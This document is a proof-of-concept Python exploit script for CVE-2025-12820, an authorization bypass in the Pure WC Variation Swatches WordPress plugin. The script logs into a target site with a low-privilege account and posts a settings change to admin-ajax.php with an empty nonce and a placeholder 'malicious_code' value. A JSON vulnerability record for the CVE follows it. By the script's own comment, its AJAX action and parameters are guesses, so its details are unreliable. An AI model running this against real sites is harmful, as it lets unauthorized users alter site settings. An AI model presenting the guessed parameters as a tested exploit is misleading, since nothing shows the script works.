CVE-2025-12820

import requests # CVE-2025-12820 PoC - Pure WC Variation Swatches Authorization Bypass # Target: WordPress site with Pure WC Variation Swatches plugin <= 1.1.7 target_url = "http://target-wordpress-site.com" # Attacker needs a valid WordPress account (any role) username = "attacker_user" password = "attacker_password" # Login to WordPress to get authentication cookies session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Exploit: Update plugin settings without proper authorization # The plugin's settings endpoint lacks capability checks settings_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "pure_wc_variation_swatches_save_settings", "swatch_color": "#malicious_code", "swatch_size": "100", "nonce": "" # May not be required due to missing check } response = session.post(settings_url, data=exploit_data) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC demonstrates the authorization bypass vulnerability. # Actual exploitation requires identifying the correct AJAX action and parameters.

{"cve": {"id": "CVE-2025-12820", "sourceIdentifier": "[email protected]", "published": "2025-12-20T06:15:50.813", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Pure WC Variation Swatches WordPress plugin through 1.1.7 does not have an authorization check when updating its settings, which could allow any authenticated users to update them."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "references": [{"url": "https://wpscan.com/vulnerability/36ccd54a-265a-44d5-b788-bc14446e3098/", "source": "[email protected]"}]}}